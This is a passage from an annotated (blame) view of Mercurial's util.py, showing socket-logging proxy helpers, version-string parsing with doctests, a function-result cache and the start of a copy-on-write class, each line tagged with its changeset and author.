Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1067 |
self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1068 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1069 |
def setblocking(self, res, flag): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1070 |
if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1071 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1072 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1073 |
self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1074 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1075 |
def settimeout(self, res, value): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1076 |
if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1077 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1078 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1079 |
self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1080 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1081 |
def gettimeout(self, res): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1082 |
if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1083 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1084 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1085 |
self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1086 |
|
39060
ed8160e4fea0
util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents:
38812
diff
changeset
|
1087 |
def setsockopt(self, res, level, optname, value): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1088 |
if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1089 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1090 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1091 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1092 |
b'%s> setsockopt(%r, %r, %r) -> %r\n' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1093 |
% (self.name, level, optname, value, res) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1094 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1095 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1096 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1097 |
def makeloggingsocket( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1098 |
logh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1099 |
fh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1100 |
name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1101 |
reads=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1102 |
writes=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1103 |
states=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1104 |
logdata=False, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1105 |
logdataapis=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1106 |
): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1107 |
"""Turn a socket into a logging socket.""" |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1108 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1109 |
observer = socketobserver( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1110 |
logh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1111 |
name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1112 |
reads=reads, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1113 |
writes=writes, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1114 |
states=states, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1115 |
logdata=logdata, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1116 |
logdataapis=logdataapis, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1117 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1118 |
return socketproxy(fh, observer) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1119 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1120 |
|
7632 | 1121 |
def version(): |
1122 |
"""Return version information if available.""" |
|
1123 |
try: |
|
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
1124 |
from . import __version__ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1125 |
|
7632 | 1126 |
return __version__.version |
1127 |
except ImportError: |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1128 |
return b'unknown' |
7632 | 1129 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1130 |
|
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1131 |
def versiontuple(v=None, n=4): |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1132 |
"""Parses a Mercurial version string into an N-tuple. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1133 |
|
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1134 |
The version string to be parsed is specified with the ``v`` argument. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1135 |
If it isn't defined, the current Mercurial version string will be parsed. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1136 |
|
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1137 |
``n`` can be 2, 3, or 4. Here is how some version strings map to |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1138 |
returned values: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1139 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1140 |
>>> v = b'3.6.1+190-df9b73d2d444' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1141 |
>>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1142 |
(3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1143 |
>>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1144 |
(3, 6, 1) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1145 |
>>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1146 |
(3, 6, 1, '190-df9b73d2d444') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1147 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1148 |
>>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1149 |
(3, 6, 1, '190-df9b73d2d444+20151118') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1150 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1151 |
>>> v = b'3.6' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1152 |
>>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1153 |
(3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1154 |
>>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1155 |
(3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1156 |
>>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1157 |
(3, 6, None, None) |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1158 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1159 |
>>> v = b'3.9-rc' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1160 |
>>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1161 |
(3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1162 |
>>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1163 |
(3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1164 |
>>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1165 |
(3, 9, None, 'rc') |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1166 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1167 |
>>> v = b'3.9-rc+2-02a8fea4289b' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1168 |
>>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1169 |
(3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1170 |
>>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1171 |
(3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1172 |
>>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1173 |
(3, 9, None, 'rc+2-02a8fea4289b') |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1174 |
|
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1175 |
>>> versiontuple(b'4.6rc0') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1176 |
(4, 6, None, 'rc0') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1177 |
>>> versiontuple(b'4.6rc0+12-425d55e54f98') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1178 |
(4, 6, None, 'rc0+12-425d55e54f98') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1179 |
>>> versiontuple(b'.1.2.3') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1180 |
(None, None, None, '.1.2.3') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1181 |
>>> versiontuple(b'12.34..5') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1182 |
(12, 34, None, '..5') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1183 |
>>> versiontuple(b'1.2.3.4.5.6') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1184 |
(1, 2, 3, '.4.5.6') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1185 |
""" |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1186 |
if not v: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1187 |
v = version() |
44021
6d3b67a837a6
cleanup: drop redundant character escapes from `[]` character sets
Matt Harbison <matt_harbison@yahoo.com>
parents:
44018
diff
changeset
|
1188 |
m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v) |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1189 |
if not m: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1190 |
vparts, extra = b'', v |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1191 |
elif m.group(2): |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1192 |
vparts, extra = m.groups() |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1193 |
else: |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1194 |
vparts, extra = m.group(1), None |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1195 |
|
43882
a21a6dad4b38
typing: add an assertion to util.versiontuple
Matt Harbison <matt_harbison@yahoo.com>
parents:
43881
diff
changeset
|
1196 |
assert vparts is not None # help pytype |
a21a6dad4b38
typing: add an assertion to util.versiontuple
Matt Harbison <matt_harbison@yahoo.com>
parents:
43881
diff
changeset
|
1197 |
|
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1198 |
vints = [] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1199 |
for i in vparts.split(b'.'): |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1200 |
try: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1201 |
vints.append(int(i)) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1202 |
except ValueError: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1203 |
break |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1204 |
# (3, 6) -> (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1205 |
while len(vints) < 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1206 |
vints.append(None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1207 |
|
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1208 |
if n == 2: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1209 |
return (vints[0], vints[1]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1210 |
if n == 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1211 |
return (vints[0], vints[1], vints[2]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1212 |
if n == 4: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1213 |
return (vints[0], vints[1], vints[2], extra) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1214 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1215 |
|
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1216 |
def cachefunc(func): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1217 |
'''cache the result of function calls''' |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1218 |
# XXX doesn't handle keywords args |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1219 |
if func.__code__.co_argcount == 0: |
43880
eff050dbb703
util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43879
diff
changeset
|
1220 |
listcache = [] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1221 |
|
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1222 |
def f(): |
43880
eff050dbb703
util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43879
diff
changeset
|
1223 |
if len(listcache) == 0: |
eff050dbb703
util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43879
diff
changeset
|
1224 |
listcache.append(func()) |
eff050dbb703
util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents:
43879
diff
changeset
|
1225 |
return listcache[0] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1226 |
|
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1227 |
return f |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1228 |
cache = {} |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1229 |
if func.__code__.co_argcount == 1: |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1230 |
# we gain a small amount of time because |
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1231 |
# we don't need to pack/unpack the list |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1232 |
def f(arg): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1233 |
if arg not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1234 |
cache[arg] = func(arg) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1235 |
return cache[arg] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1236 |
|
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1237 |
else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1238 |
|
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1239 |
def f(*args): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1240 |
if args not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1241 |
cache[args] = func(*args) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1242 |
return cache[args] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1243 |
|
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1244 |
return f |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1245 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1246 |
|
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1247 |
class cow(object): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1248 |
"""helper class to make copy-on-write easier |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1249 |
|
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1250 |
Call preparewrite before doing any writes. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1251 |
""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1252 |
|
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1253 |
def preparewrite(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1254 |
"""call this before writes, return self or a copied new object""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1255 |
if getattr(self, '_copied', 0): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1256 |
self._copied -= 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1257 |
return self.__class__(self) |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1258 |
return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1259 |
|
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1260 |
def copy(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1261 |
"""always do a cheap copy""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
